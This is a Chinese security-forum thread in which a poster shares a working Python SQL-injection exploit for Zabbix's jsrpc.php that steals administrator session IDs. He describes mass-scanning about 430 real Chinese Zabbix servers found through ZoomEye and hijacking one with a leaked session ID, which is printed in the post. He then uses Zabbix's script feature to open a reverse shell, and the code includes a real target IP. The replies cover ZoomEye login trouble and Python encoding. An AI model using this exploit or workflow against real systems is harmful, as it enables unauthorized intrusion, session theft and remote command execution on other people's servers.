九零登录

[【通过】] zabbix漏洞的利用

[复制链接]
发表于 2016-8-30 08:58:20 | 显示全部楼层 |阅读模式
本帖最后由 Double8 于 2016-8-30 09:09 编辑


现在正在学习python,尝试用zabbix的sql注入漏洞试写一个exp,主要是在一位大神写好的框架下面自己添加的脚本:[有时候就是这么巧,刚看到大神也来90:https://forum.90sec.org/forum.php?mod=viewthread&tid=9850&extra=page%3D1
后来看到有人写了一个更好的脚本:https://github.com/Xyntax/POC-T/blob/master/script/zabbix-jsrpc-mysql-exp.py,可以获取密码和session。不过这个脚本相当于自己学习的过程吧。
主要获取的是url和sessionid值,代码如下
1.jpg

import requests
import re

h1 = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
}

def poc(url):
    if '://' not in url:
        url = 'http://' + url
    payload='/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17'
    target=url+payload

    try:
        r = requests.get(target,headers=h1,timeout=20).content  
        if 'Duplicate entry' in r and 'class="flickerfreescreen"' in r:
                pattern='\w+~'
                m=re.search(pattern,r)
                return url,m.group()[:-1]
    except Exception, e:
        pass
    return False

#poc('157.7.131.58:8080')

以关键字:zabbix country:cn爬取了zoomeye前50页,效果如下,前面是url,后面是sessionid:
2.jpg
3.jpg

扫了430条,大约有94还存在漏洞。
选择了一个进行zabbix漏洞的利用:
Sessionid:052ff3f79635c65b4c252992430f7afa
4.jpg
替换为自己的sessionid:
成功登陆:
5.jpg
在利用zabbix自带的脚本,如下图选择:
6.jpg
打开一个shell,监听2222端口:
7.jpg
再回到这个界面调用脚本:
8.jpg
选择自己的脚本:
9.jpg
再连上shell:
10.jpg
可以获得一个shell:
11.jpg

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-8-30 09:57:36 | 显示全部楼层
 楼主| 发表于 2016-8-30 10:09:35 | 显示全部楼层
柠檬草 发表于 2016-8-30 09:57
https://github.com/re4lity/zabbixPwn/blob/master/zabbixPwn.py
有人已集成,执行命令。

谢谢提醒,又可以学到新知识。这个主要是自己学了Python,尝试写一下poc。
发表于 2016-8-30 15:04:52 | 显示全部楼层
请教下  您是怎么登陆zoomeye的呢
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE3Mzl8MzVmZGIyZTl8MTc5MjY0NzE2NXwwfA%3D%3D
我老是这样的   帐号密码应该没错呀  用户名也试过
QQ截图20160830150404.png
 楼主| 发表于 2016-8-30 16:02:43 | 显示全部楼层
谦月Vip4pt 发表于 2016-8-30 15:04
请教下  您是怎么登陆zoomeye的呢
https://forum.90sec.org/forum.php?mod=attachment&aid=MjE3Mzl8MzVmZGIyZTl8MTc5MjY0NzE2NXwwfA%3D%3D
我老是这样的   帐号密码应该没错呀  用户名也试过

哈哈哈,这个我的朋友也遇到过,他说是先连上vpn,再做你刚才的操作
发表于 2016-8-30 16:18:47 | 显示全部楼层
Double8 发表于 2016-8-30 16:02
哈哈哈,这个我的朋友也遇到过,他说是先连上vpn,再做你刚才的操作

还真可以  奇了怪了。。
发表于 2016-8-30 16:32:37 | 显示全部楼层
额  你给出的脚本头要加上
#!/usr/bin/env python
# -*- coding:utf-8 -*-

解决你脚本里的非ASCII字符
就象这样:
QQ截图20160830163221.png
 楼主| 发表于 2016-8-30 16:55:37 | 显示全部楼层
谦月Vip4pt 发表于 2016-8-30 16:32
额  你给出的脚本头要加上
#!/usr/bin/env python
# -*- coding:utf-8 -*-

恩恩,好的
发表于 2016-9-4 18:39:25 | 显示全部楼层
表哥好厉害

九零

GMT+8, 2026-10-22 13:32

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表